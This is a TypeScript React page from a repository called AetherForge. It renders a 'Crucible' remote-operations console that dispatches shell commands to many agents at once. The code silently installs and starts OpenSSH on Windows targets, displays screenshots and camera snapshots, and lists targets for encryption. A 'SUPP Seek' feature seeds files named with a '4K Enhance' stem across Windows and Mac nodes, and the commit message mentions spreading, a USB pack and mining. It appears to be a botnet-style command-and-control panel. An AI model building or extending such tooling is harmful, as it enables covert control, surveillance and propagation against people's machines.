Files
AetherForge/server/web/src/pages/CruciblePage.tsx
AetherForge a32860b0d9
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
feat: alive UI wave, galaxy presence, spread and fleet enhancements
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
2026-06-04 22:36:17 -07:00

1985 lines
90 KiB
TypeScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import { useState, useRef, useEffect, useCallback, useMemo } from 'react';
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
import type { Agent, AgentService } from '../types';
import NeonCard from '../components/NeonCard/NeonCard';
import LatencyBadge from '../components/Fleet/LatencyBadge';
import CreateGroupModal from '../components/Fleet/CreateGroupModal';
import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
import { formatHashrate } from '../help/fleetFilters';
import { primaryGroupForAgent } from '../help/fleetGroups';
import { useFleetGroups } from '../hooks/useFleetGroups';
import { useMatrixRain } from '../context/MatrixRainContext';
import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush';
import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
import FileManager from '../components/Fleet/FileManager';
import RemoteDirBrowser from '../components/Fleet/RemoteDirBrowser';
import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel';
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
import AlsoHere from '../components/Presence/AlsoHere';
import '../components/Fleet/FullSysCheckPanel.css';
import '../components/Fleet/ProtocolTunnelPanel.css';
import './CruciblePage.css';
// ── Types ──────────────────────────────────────────────────────────────────
type ShellType = 'powershell' | 'exec' | 'sh';
interface TermLine {
id: string;
agentId: string;
agentName: string;
isCmd: boolean;
text: string;
ts: Date;
success?: boolean;
// Whether this agent was in the active selection when the command was dispatched
targeted?: boolean;
// Structured data for rich terminal renderers
richData?: RichTermData;
}
// ── Rich terminal data types ────────────────────────────────────────────────
interface RichListenPort {
port: number;
addr: string;
proto: string;
process?: string;
pid?: number;
}
interface RichListenPorts {
type: 'listen_ports';
ports: RichListenPort[];
count: number;
}
interface RichPatchStatus {
type: 'patch_status';
pending_updates?: number;
last_patch?: string;
last_patch_days?: number;
reboot_pending?: boolean;
}
interface RichPostureSummary {
type: 'posture';
posture_score?: number;
defender_enabled?: boolean;
defender_rtp?: boolean;
av_products?: string[];
firewall_domain?: boolean;
firewall_private?: boolean;
firewall_public?: boolean;
ssh_listening?: boolean;
agent_elevated?: boolean;
last_patch_days?: number;
pending_updates?: number;
reboot_pending?: boolean;
services?: Array<{ name: string; display_name?: string; status: string; start_type: string }>;
}
interface RichScreenshot {
type: 'screenshot';
b64: string;
}
interface RichFullSysCheck {
type: 'full_sys_check';
report: FullSysCheckReport;
}
type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary | RichScreenshot | RichFullSysCheck;
// ── Helpers ────────────────────────────────────────────────────────────────
const AGENT_COLORS = [
'#00f5ff', '#39ff14', '#ff2da6', '#b24bf3',
'#ffb020', '#ff6b35', '#00d4aa', '#f72585',
'#7209b7', '#3a86ff', '#06d6a0', '#ffd60a',
];
export function agentColor(agentId: string, allIds: string[], groupColor?: string): string {
if (groupColor) return groupColor;
const idx = allIds.indexOf(agentId);
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00f5ff';
}
export function sshBadge(agent: Agent) {
if (agent.ssh_available === true) return { label: 'SSH ON', cls: 'ssh-on' };
if (agent.ssh_available === false) return { label: 'SSH OFF', cls: 'ssh-off' };
return { label: 'SSH ?', cls: 'ssh-unk' };
}
export function postureBadge(score?: number) {
if (score === undefined) return { label: 'POSTURE ?', cls: 'posture-unk' };
if (score >= 80) return { label: `POSTURE ${score}`, cls: 'posture-good' };
if (score >= 40) return { label: `POSTURE ${score}`, cls: 'posture-warn' };
return { label: `POSTURE ${score}`, cls: 'posture-bad' };
}
export function patchLabel(days?: number) {
if (days === undefined) return null;
return { label: `PATCH ${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' };
}
export function portsBadge(count?: number): { label: string; cls: string } | null {
if (count === undefined) return null;
return { label: `PORTS ${count}`, cls: count > 20 ? 'ports-many' : 'ports-ok' };
}
export function postureTooltip(agent: Agent): string {
const lines: string[] = [];
const yn = (v?: boolean) => v === true ? '✓' : v === false ? '✗' : '?';
const na = (v: unknown) => v !== undefined && v !== null ? String(v) : '?';
lines.push(`Defender: ${yn(agent.defender_enabled)} RTP: ${yn(agent.defender_rtp)}`);
if (agent.av_products?.length) lines.push(`AV: ${agent.av_products.join(', ')}`);
lines.push(`FW Domain:${yn(agent.firewall_domain)} Private:${yn(agent.firewall_private)} Public:${yn(agent.firewall_public)}`);
lines.push(`SSH: ${yn(agent.ssh_available)} Elevated: ${yn(agent.agent_elevated)}`);
if (agent.listen_port_count !== undefined) lines.push(`TCP listeners: ${agent.listen_port_count} (run listen_ports for full list)`);
lines.push('──────────────────────');
// Patch exposure
if (agent.last_patch) lines.push(`Last patch: ${agent.last_patch} (${na(agent.last_patch_days)}d ago)`);
else if (agent.last_patch_days !== undefined) lines.push(`Last patch: ${agent.last_patch_days}d ago`);
if (agent.pending_updates !== undefined) {
const u = agent.pending_updates;
lines.push(`Pending updates: ${u < 0 ? 'unknown' : u === 0 ? 'none ✓' : `${u}`}`);
}
if (agent.reboot_pending !== undefined) {
lines.push(`Reboot required: ${agent.reboot_pending ? 'YES ⚠' : 'no ✓'}`);
}
// DNS config
if (agent.dns_servers?.length) {
lines.push('──────────────────────');
lines.push(`DNS (T1016): ${agent.dns_servers.join(', ')}`);
if (agent.dns_search_domains?.length) lines.push(`Search: ${agent.dns_search_domains.join(', ')}`);
if (agent.dns_drifted) lines.push('⚠ DNS changed since last heartbeat!');
}
// Resource pressure
const tempLabel = agent.gpu_temp_c !== undefined ? `GPU ${agent.gpu_temp_c}°C` : agent.cpu_temp_c !== undefined ? `CPU ${agent.cpu_temp_c}°C` : null;
if (tempLabel || agent.disk_free_pct !== undefined || agent.cpu_throttle !== undefined) {
lines.push('──────────────────────');
if (tempLabel) lines.push(`Temp: ${tempLabel}${agent.cpu_throttle ? ' THROTTLED' : ''}`);
if (agent.disk_free_pct !== undefined) {
lines.push(`Disk: ${agent.disk_free_gb?.toFixed(1) ?? '?'} GB free (${agent.disk_free_pct}% of ${agent.disk_total_gb?.toFixed(0) ?? '?'} GB)`);
}
if (agent.cpu_freq_mhz && agent.cpu_max_mhz) {
lines.push(`CPU freq: ${agent.cpu_freq_mhz} / ${agent.cpu_max_mhz} MHz`);
}
if (agent.gpu_usage_pct !== undefined) lines.push(`GPU util: ${agent.gpu_usage_pct}%`);
}
if (agent.services?.length) {
lines.push('──────────────────────');
lines.push('Services (T1007):');
for (const svc of agent.services) {
const icon = svc.status === 'running' ? '●' : svc.status === 'stopped' ? '○' : '—';
const st = svc.start_type !== 'unknown' ? ` [${svc.start_type}]` : '';
lines.push(` ${icon} ${svc.display_name ?? svc.name}${st}`);
}
}
return lines.join('\n');
}
export function pendingBadge(agent: Agent): { label: string; cls: string } | null {
const u = agent.pending_updates;
if (u === undefined) return null;
if (u < 0) return { label: 'UPD ?', cls: 'upd-unk' };
if (u === 0) return { label: 'UP TO DATE', cls: 'upd-ok' };
if (u <= 5) return { label: `${u} UPD`, cls: 'upd-warn' };
return { label: `${u} UPD`, cls: 'upd-bad' };
}
function rebootBadge(agent: Agent): { label: string; cls: string } | null {
if (agent.reboot_pending === undefined) return null;
if (agent.reboot_pending) return { label: 'REBOOT!', cls: 'rb-pending' };
return null;
}
// ── Resource pressure badges ───────────────────────────────────────────────
export function thermalBadge(agent: Agent): { label: string; cls: string } | null {
const t = agent.gpu_temp_c ?? agent.cpu_temp_c;
if (t === undefined) return null;
if (t > 80) return { label: `${t}°`, cls: 'therm-hot' };
if (t > 65) return { label: `${t}°`, cls: 'therm-warm' };
return null; // cool enough — no badge clutter
}
function diskBadge(agent: Agent): { label: string; cls: string } | null {
const pct = agent.disk_free_pct;
if (pct === undefined) return null;
if (pct < 5) return { label: `DISK ${pct}%`, cls: 'disk-crit' };
if (pct < 15) return { label: `DISK ${pct}%`, cls: 'disk-warn' };
return null; // plenty of space — no badge
}
function throttleBadge(agent: Agent): { label: string; cls: string } | null {
if (!agent.cpu_throttle) return null;
const pct = agent.cpu_freq_mhz && agent.cpu_max_mhz
? Math.round(agent.cpu_freq_mhz / agent.cpu_max_mhz * 100)
: null;
const label = pct !== null ? `THRTTL ${pct}%` : 'THRTTL';
return { label, cls: 'therm-warm' };
}
// ── DNS helpers (T1016) ────────────────────────────────────────────────────
function dnsBadge(agent: Agent): { label: string; cls: string } | null {
if (agent.dns_drifted) return { label: 'DNS DRIFT', cls: 'dns-drift' };
return null;
}
// ── Service helpers (T1007) ────────────────────────────────────────────────
// Human-readable label for well-known service names
const SVC_LABELS: Record<string, string> = {
sshd: 'SSH',
ssh: 'SSH',
'openssh ssh server': 'SSH',
cloudflared: 'CF Tunnel',
wuauserv: 'WU',
windefend: 'Defender',
ufw: 'UFW',
fail2ban: 'Fail2Ban',
};
function svcLabel(svc: AgentService): string {
return SVC_LABELS[svc.name.toLowerCase()] ?? svc.display_name ?? svc.name;
}
function svcDot(status: string): string {
if (status === 'running') return '●';
if (status === 'stopped') return '○';
return '—';
}
function svcDotClass(status: string): string {
if (status === 'running') return 'svc-run';
if (status === 'stopped') return 'svc-stop';
return 'svc-unk';
}
// Only surface services that are interesting to show (skip self-service clutter)
const IMPORTANT_SVCS = new Set(['sshd', 'ssh', 'openssh ssh server', 'cloudflared', 'wuauserv', 'windefend']);
function importantServices(svcs: AgentService[]): AgentService[] {
return svcs.filter(s => IMPORTANT_SVCS.has(s.name.toLowerCase()) || s.status === 'running');
}
function platformIcon(platform?: string): string {
if (!platform) return '⬡';
const p = platform.toLowerCase();
if (p.includes('win')) return '⊞';
if (p.includes('linux')) return '🐧';
if (p.includes('darwin')) return '';
return '⬡';
}
let _lineId = 0;
function mkId() { return `tl-${++_lineId}`; }
// ── Wake SSH commands ──────────────────────────────────────────────────────
const WAKE_SSH_PS = `
$ErrorActionPreference='SilentlyContinue'
$cap=Get-WindowsCapability -Online -Name OpenSSH.Server~~~~* 2>$null
if ($cap -and $cap.State -ne 'Installed'){Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0}
Set-Service -Name sshd -StartupType Automatic
Start-Service sshd
$ip=(Get-NetIPAddress -AddressFamily IPv4|Where{$_.InterfaceAlias -notlike '*Loopback*'}|Select -First 1).IPAddress
"SSH_WAKE_OK ip=$ip port=22"
`.trim();
const PROBE_SSH_PS = `
$s=Get-Service sshd -ErrorAction SilentlyContinue
if($s -and $s.Status -eq 'Running'){'SSH_PROBE:ONLINE'}else{'SSH_PROBE:OFFLINE'}
`.trim();
const PROBE_SSH_SH = `ss -tlnp 2>/dev/null | grep -q ':22' && echo SSH_PROBE:ONLINE || echo SSH_PROBE:OFFLINE`;
// ── Component ──────────────────────────────────────────────────────────────
export default function CruciblePage() {
const { agents, commandResults } = useWebSocket();
const { setCrucibleFocus } = useMatrixRain();
// Selection
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
const [showGroupModal, setShowGroupModal] = useState(false);
const { groups, addGroup, removeGroup } = useFleetGroups();
// Terminal
const [termLines, setTermLines] = useState<TermLine[]>([]);
const [cmd, setCmd] = useState('');
const [shellType, setShellType] = useState<ShellType>('powershell');
const [busy, setBusy] = useState(false);
const termEndRef = useRef<HTMLDivElement>(null);
const cmdRef = useRef<HTMLInputElement>(null);
const lastSeqRef = useRef(0);
// Command history
const [cmdHistory, setCmdHistory] = useState<string[]>([]);
const [histIdx, setHistIdx] = useState(-1);
// SUPP Seek Mode
const [seekPath, setSeekPath] = useState('');
const [seekStem, setSeekStem] = useState('4K Enhance');
const [seekWin, setSeekWin] = useState(true);
const [seekMac, setSeekMac] = useState(true);
// File ops state
const [uploadPath, setUploadPath] = useState('');
const [downloadPath, setDownloadPath] = useState('');
const [uploadFileRef] = useState(() => ({ current: null as HTMLInputElement | null }));
// Tunnel URL state
const [tunnelURL, setTunnelURL] = useState('');
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
// SSH / posture overrides (from on-demand probes)
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
const selectedAgents = useMemo(
() => agents.filter((a) => selectedIds.has(a.id)),
[agents, selectedIds]
);
const online = (a: Agent) => a.status === 'online';
const fmCommandResults = useMemo(
() =>
commandResults
?.filter((r) => r.agent_id && r.action != null)
.map((r) => ({
agentId: r.agent_id as string,
action: r.action as string,
success: !!r.success,
message: r.message ?? '',
})) ?? [],
[commandResults]
);
const singleSelectedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
const encryptTargets = useMemo(
() => selectedAgents.filter(online).map((a) => ({ id: a.id, name: a.name })),
[selectedAgents]
);
const browseAgent = singleSelectedAgent ?? selectedAgents.find(online) ?? null;
const appendTerminalLine = useCallback((text: string, isCmd = false) => {
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: 'local',
agentName: 'YOU',
isCmd,
text,
ts: new Date(),
targeted: true,
},
].slice(-2000));
}, []);
/** One online target selected — sidebar matrix switches to gold forge-style rain. */
const crucibleTargetReady =
selectedAgents.filter(online).length === 1 && selectedIds.size === 1;
useEffect(() => {
setCrucibleFocus(crucibleTargetReady);
return () => setCrucibleFocus(false);
}, [crucibleTargetReady, setCrucibleFocus]);
// Prune selectedIds when agents are removed (e.g. after roster delete).
useEffect(() => {
const liveIds = new Set(agents.map((a) => a.id));
setSelectedIds((prev) => {
const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
return pruned.size === prev.size ? prev : pruned;
});
}, [agents]);
// ── Auto-scroll terminal ───────────────────────────────────────────────
useEffect(() => {
termEndRef.current?.scrollIntoView({ behavior: 'smooth' });
}, [termLines]);
// ── Process incoming command_result messages ───────────────────────────
useEffect(() => {
if (!commandResults || commandResults.length === 0) return;
const newEntries = commandResults.filter((r) => r._seq > lastSeqRef.current);
if (newEntries.length === 0) return;
lastSeqRef.current = newEntries[newEntries.length - 1]._seq;
const lines: TermLine[] = [];
for (const r of newEntries) {
const aid = r.agent_id;
if (!aid) continue;
const msg = r.message ?? '';
if (r.action === 'tunnel_status' && r.success && msg) {
if (selectedIds.size === 1 && selectedIds.has(aid)) {
setTunnelStatusMsg(msg);
}
}
// ── SSH badge updates ───────────────────────────────────────────────
if (msg.includes('SSH_PROBE:ONLINE')) {
setSshOverride((prev) => ({ ...prev, [aid]: true }));
} else if (msg.includes('SSH_PROBE:OFFLINE')) {
setSshOverride((prev) => ({ ...prev, [aid]: false }));
}
// ── Parse structured JSON for known actions ────────────────────────
let richData: RichTermData | undefined;
// Screenshot: result is a raw base64 PNG string (no JSON wrapper)
if (
(r.action === 'screenshot' || r.action === 'camera_snapshot') &&
r.success &&
msg.length > 200 &&
/^[A-Za-z0-9+/]+=*$/.test(msg.trim())
) {
richData = { type: 'screenshot', b64: msg.trim() };
}
const jsonStart = msg.indexOf('{');
if (jsonStart >= 0) {
try {
const parsed = JSON.parse(msg.slice(jsonStart));
if (r.action === 'listen_ports' && Array.isArray(parsed.ports)) {
richData = { type: 'listen_ports', ports: parsed.ports, count: parsed.count ?? parsed.ports.length };
} else if (r.action === 'patch_status') {
richData = { type: 'patch_status', ...parsed };
} else if (r.action === 'full_sys_check' && parsed.generated_at) {
richData = { type: 'full_sys_check', report: parsed as FullSysCheckReport };
} else if (r.action === 'posture' && typeof parsed.posture_score === 'number') {
richData = { type: 'posture', ...parsed };
// Update badge state
setPostureOverride((prev) => ({
...prev,
[aid]: { score: parsed.posture_score, patchDays: parsed.last_patch_days },
}));
if (parsed.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true }));
if (parsed.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false }));
} else {
// Generic JSON with posture fields (legacy path)
if (typeof parsed.posture_score === 'number') {
setPostureOverride((prev) => ({
...prev,
[aid]: { score: parsed.posture_score, patchDays: parsed.last_patch_days },
}));
}
if (parsed.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true }));
if (parsed.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false }));
}
} catch { /* malformed JSON — fall through to plain text */ }
}
const agent = agents.find((a) => a.id === aid);
const name = agent?.name ?? aid.slice(0, 8);
const targeted = selectedIds.size === 0 || selectedIds.has(aid);
if (richData) {
lines.push({
id: mkId(), agentId: aid, agentName: name,
isCmd: false, text: '', ts: new Date(),
success: r.success, richData, targeted,
});
} else {
const msgLines = msg.split('\n').filter(Boolean);
for (const line of msgLines) {
lines.push({
id: mkId(), agentId: aid, agentName: name,
isCmd: false, text: line, ts: new Date(), success: r.success, targeted,
});
}
}
}
if (lines.length > 0) {
setTermLines((prev) => [...prev, ...lines].slice(-2000));
}
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [commandResults]);
// ── Selection helpers ──────────────────────────────────────────────────
const toggle = (id: string) =>
setSelectedIds((prev) => {
const next = new Set(prev);
if (next.has(id)) next.delete(id); else next.add(id);
return next;
});
const selectAgent = (id: string) => setSelectedIds(new Set([id]));
const selectAll = () => setSelectedIds(new Set(agents.filter(online).map((a) => a.id)));
const clearSel = () => setSelectedIds(new Set());
const onlineAgentIds = useMemo(
() => new Set(agents.filter((a) => a.status === 'online').map((a) => a.id)),
[agents]
);
const activateGroup = (g: { agentIds: string[] }) => setSelectedIds(new Set(g.agentIds));
// ── Dispatch command ───────────────────────────────────────────────────
const dispatch = useCallback(async (command: string, shell: ShellType, targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online);
if (tgts.length === 0 || !command.trim()) return;
setBusy(true);
// Echo command to terminal
const echoLines: TermLine[] = tgts.map((a) => ({
id: mkId(),
agentId: a.id,
agentName: a.name,
isCmd: true,
text: command,
ts: new Date(),
}));
setTermLines((prev) => [...prev, ...echoLines].slice(-2000));
setCmdHistory((h) => [command, ...h].slice(0, 50));
setHistIdx(-1);
const action = shell === 'powershell' ? 'powershell'
: shell === 'sh' ? 'exec'
: 'exec';
await Promise.all(
tgts.map(async (a) => {
try {
const res = await api.sendAgentCommand(a.id, action, { command });
if (res.success === false) {
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: a.id,
agentName: a.name,
isCmd: false,
text: `[ERROR] ${res.error ?? 'command rejected'}`,
ts: new Date(),
success: false,
},
]);
}
} catch (err) {
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: a.id,
agentName: a.name,
isCmd: false,
text: `[ERROR] ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(),
success: false,
},
]);
}
})
);
setBusy(false);
cmdRef.current?.focus();
}, [selectedAgents]);
const sendCmd = () => {
dispatch(cmd, shellType);
setCmd('');
};
const probeSSH = (targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online);
for (const a of tgts) {
const isWin = a.platform?.toLowerCase().includes('win') ?? true;
const probeCmd = isWin ? PROBE_SSH_PS : PROBE_SSH_SH;
const shell: ShellType = isWin ? 'powershell' : 'sh';
dispatch(probeCmd, shell, [a]);
}
};
const wakeSSH = (targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online);
for (const a of tgts) {
const isWin = a.platform?.toLowerCase().includes('win') ?? true;
if (isWin) {
dispatch(WAKE_SSH_PS, 'powershell', [a]);
} else {
dispatch('which sshd && systemctl start sshd 2>/dev/null || service ssh start 2>/dev/null; echo SSH_WAKE_OK', 'sh', [a]);
}
}
};
const probePosture = (targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online);
if (tgts.length === 0) { alert('No online agents selected.'); return; }
Promise.all(
tgts.map((a) =>
api.sendAgentCommand(a.id, 'posture').catch((err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] posture probe: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0,
},
]);
})
)
);
};
// Fires posture + listen_ports + patch_status in parallel.
// When agents are selected, targets only selection. Otherwise targets all online.
const scanSelected = (targets?: Agent[]) => {
const tgts = targets ?? (selectedAgents.filter(online).length > 0
? selectedAgents.filter(online)
: agents.filter(online));
if (tgts.length === 0) { alert('No online agents available.'); return; }
const cmds = ['posture', 'listen_ports', 'patch_status'] as const;
for (const a of tgts) {
for (const cmd of cmds) {
api.sendAgentCommand(a.id, cmd).catch((err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0,
},
]);
});
}
}
};
// SUPP Seek — launch recursive batch file-seeding on selected agents.
const launchSeek = () => {
const tgts = selectedAgents.filter(online);
if (tgts.length === 0) { alert('Select at least one online node to seed from.'); return; }
if (!seekPath.trim()) { alert('Enter a root path to scan (e.g. D:\\ or /Volumes/Movies).'); return; }
const flag = seekWin && seekMac ? 'all' : seekWin ? 'win' : 'mac';
for (const a of tgts) {
api.sendAgentCommand(a.id, 'supp_seek', {
path: seekPath.trim(),
command: flag,
data: seekStem.trim() || '4K Enhance',
}).catch((err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] supp_seek: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: true,
},
]);
});
}
setTermLines((prev) => [
...prev,
{
id: mkId(), agentId: 'local', agentName: 'YOU',
isCmd: true,
text: `SUPP SEEK → ${seekPath.trim()} [${flag.toUpperCase()}] stem="${seekStem || '4K Enhance'}" on ${tgts.length} node(s)`,
ts: new Date(),
},
]);
};
// Focused agent — when exactly one is selected show its details prominently.
const focusedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => {
if (e.key === 'Enter') { sendCmd(); return; }
if (e.key === 'ArrowUp') {
e.preventDefault();
const next = Math.min(histIdx + 1, cmdHistory.length - 1);
setHistIdx(next);
setCmd(cmdHistory[next] ?? '');
}
if (e.key === 'ArrowDown') {
e.preventDefault();
const next = Math.max(histIdx - 1, -1);
setHistIdx(next);
setCmd(next < 0 ? '' : cmdHistory[next] ?? '');
}
};
// ── Effective SSH status ───────────────────────────────────────────────
const sshStatus = (a: Agent) => {
const override = sshOverride[a.id];
if (override !== undefined) return { label: override ? 'SSH ON' : 'SSH OFF', cls: override ? 'ssh-on' : 'ssh-off' };
return sshBadge({ ...a });
};
const postureStatus = (a: Agent) => {
const o = postureOverride[a.id];
const score = o?.score ?? a.posture_score;
const patchDays = o?.patchDays ?? a.last_patch_days;
return {
...postureBadge(score),
patch: patchLabel(patchDays),
ports: portsBadge(a.listen_port_count),
};
};
// ── Rich terminal renderers ────────────────────────────────────────────
const RichListenPortsTable = ({ d }: { d: RichListenPorts }) => (
<div className="rich-block rich-ports">
<div className="rich-header">
<span className="rich-label">LISTEN PORTS</span>
<span className="rich-count">{d.count} listener{d.count !== 1 ? 's' : ''}</span>
</div>
{d.ports.length === 0 ? (
<div className="rich-empty">No listeners found</div>
) : (
<table className="rich-table">
<thead>
<tr>
<th>PORT</th>
<th>ADDR</th>
<th>PROTO</th>
<th>PROCESS</th>
<th>PID</th>
</tr>
</thead>
<tbody>
{d.ports.map((p, i) => (
<tr key={i} className={p.port === 22 ? 'rich-row-ssh' : p.port < 1024 ? 'rich-row-sys' : ''}>
<td className="rich-port">{p.port}</td>
<td className="rich-addr">{p.addr || '*'}</td>
<td className="rich-proto">{p.proto.toUpperCase()}</td>
<td className="rich-proc">{p.process || '—'}</td>
<td className="rich-pid">{p.pid ?? '—'}</td>
</tr>
))}
</tbody>
</table>
)}
</div>
);
const RichPatchStatusBlock = ({ d }: { d: RichPatchStatus }) => (
<div className="rich-block rich-patch">
<div className="rich-header">
<span className="rich-label">PATCH STATUS</span>
{d.reboot_pending && <span className="rich-tag rich-tag-warn blink-slow">REBOOT REQUIRED</span>}
</div>
<div className="rich-kv-row">
<span className="rich-key">Pending Updates</span>
<span className={`rich-val ${(d.pending_updates ?? 0) > 0 ? 'rich-val-warn' : 'rich-val-ok'}`}>
{d.pending_updates ?? 0}
</span>
</div>
<div className="rich-kv-row">
<span className="rich-key">Last Patch</span>
<span className={`rich-val ${(d.last_patch_days ?? 0) > 60 ? 'rich-val-bad' : (d.last_patch_days ?? 0) > 30 ? 'rich-val-warn' : 'rich-val-ok'}`}>
{d.last_patch ?? '—'}{d.last_patch_days != null ? ` (${d.last_patch_days}d ago)` : ''}
</span>
</div>
<div className="rich-kv-row">
<span className="rich-key">Reboot Pending</span>
<span className={`rich-val ${d.reboot_pending ? 'rich-val-warn' : 'rich-val-ok'}`}>
{d.reboot_pending ? 'YES' : 'NO'}
</span>
</div>
</div>
);
const fwIcon = (on?: boolean) => on ? <span className="rich-val-ok">ON</span> : <span className="rich-val-bad">OFF</span>;
const RichPostureSummaryBlock = ({ d }: { d: RichPostureSummary }) => (
<div className="rich-block rich-posture">
<div className="rich-header">
<span className="rich-label">POSTURE REPORT</span>
{d.posture_score != null && (
<span className={`rich-score ${d.posture_score >= 70 ? 'rich-score-ok' : d.posture_score >= 40 ? 'rich-score-warn' : 'rich-score-bad'}`}>
{d.posture_score} / 100
</span>
)}
</div>
<div className="rich-posture-grid">
<div className="rich-kv-row"><span className="rich-key">Defender</span>
<span className={`rich-val ${d.defender_enabled ? 'rich-val-ok' : 'rich-val-bad'}`}>{d.defender_enabled ? 'ON' : 'OFF'}</span>
</div>
<div className="rich-kv-row"><span className="rich-key">Real-Time Prot</span>
<span className={`rich-val ${d.defender_rtp ? 'rich-val-ok' : 'rich-val-warn'}`}>{d.defender_rtp ? 'ON' : 'OFF'}</span>
</div>
<div className="rich-kv-row"><span className="rich-key">Firewall Domain/Priv/Pub</span>
<span className="rich-val">{fwIcon(d.firewall_domain)} / {fwIcon(d.firewall_private)} / {fwIcon(d.firewall_public)}</span>
</div>
<div className="rich-kv-row"><span className="rich-key">AV Products</span>
<span className="rich-val">{d.av_products?.join(', ') || '—'}</span>
</div>
<div className="rich-kv-row"><span className="rich-key">SSH Listening</span>
<span className={`rich-val ${d.ssh_listening ? 'rich-val-ok' : 'rich-val-bad'}`}>{d.ssh_listening ? 'YES' : 'NO'}</span>
</div>
<div className="rich-kv-row"><span className="rich-key">Agent Elevated</span>
<span className={`rich-val ${d.agent_elevated ? 'rich-val-warn' : 'rich-val-ok'}`}>{d.agent_elevated ? 'YES (ADMIN)' : 'no'}</span>
</div>
{d.last_patch_days != null && (
<div className="rich-kv-row"><span className="rich-key">Last Patch</span>
<span className={`rich-val ${d.last_patch_days > 60 ? 'rich-val-bad' : d.last_patch_days > 30 ? 'rich-val-warn' : 'rich-val-ok'}`}>
{d.last_patch_days}d ago{d.pending_updates ? ` · ${d.pending_updates} pending` : ''}
{d.reboot_pending ? ' · REBOOT!' : ''}
</span>
</div>
)}
</div>
{d.services && d.services.length > 0 && (
<>
<div className="rich-sub-label">SERVICES</div>
<table className="rich-table">
<thead><tr><th>SERVICE</th><th>STATUS</th><th>START</th></tr></thead>
<tbody>
{d.services.map((s, i) => (
<tr key={i}>
<td className="rich-proc">{s.display_name || s.name}</td>
<td className={`rich-svc-status ${s.status === 'running' ? 'rich-val-ok' : 'rich-val-bad'}`}>{s.status.toUpperCase()}</td>
<td className="rich-addr">{s.start_type}</td>
</tr>
))}
</tbody>
</table>
</>
)}
</div>
);
const renderRichData = (d: RichTermData, lineAgentName?: string) => {
if (d.type === 'listen_ports') return <RichListenPortsTable d={d} />;
if (d.type === 'patch_status') return <RichPatchStatusBlock d={d} />;
if (d.type === 'posture') return <RichPostureSummaryBlock d={d} />;
if (d.type === 'full_sys_check') {
return <FullSysCheckPanel report={d.report} agentName={lineAgentName ?? 'agent'} />;
}
if (d.type === 'screenshot') return (
<div style={{ marginTop: '0.4rem' }}>
<img
src={`data:image/png;base64,${d.b64}`}
alt="screenshot"
style={{ maxWidth: '100%', maxHeight: 340, borderRadius: 4, border: '1px solid #333', cursor: 'pointer' }}
onClick={() => window.open(`data:image/png;base64,${d.b64}`, '_blank')}
title="Click to open full size"
/>
</div>
);
return null;
};
// ── Render ─────────────────────────────────────────────────────────────
return (
<div className="page fade-in crucible-page operator-deck-page">
<header className="deck-hero" style={{ marginBottom: '1rem' }}>
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">REMOTE OPERATIONS THEATER</p>
<h1>Crucible</h1>
<p className="page-subtitle">select nodes · group them · command them all at once</p>
</div>
<div className="deck-hero-status">
<div className="crucible-sel-summary">
<span className="font-tech" style={{ color: 'var(--neon-cyan)' }}>
{selectedIds.size > 0 ? `${selectedIds.size} selected` : 'none selected'}
</span>
<span style={{ color: 'var(--text-muted)', fontSize: '0.8rem' }}>
{agents.filter(online).length} online / {agents.length} total
</span>
</div>
<button className="button crucible-btn" onClick={selectAll}>Select Online</button>
<button className="button crucible-btn-muted" onClick={clearSel}>Clear</button>
{selectedIds.size > 0 && (
<button className="button crucible-btn" onClick={() => setShowGroupModal(true)}>
Create group
</button>
)}
</div>
</header>
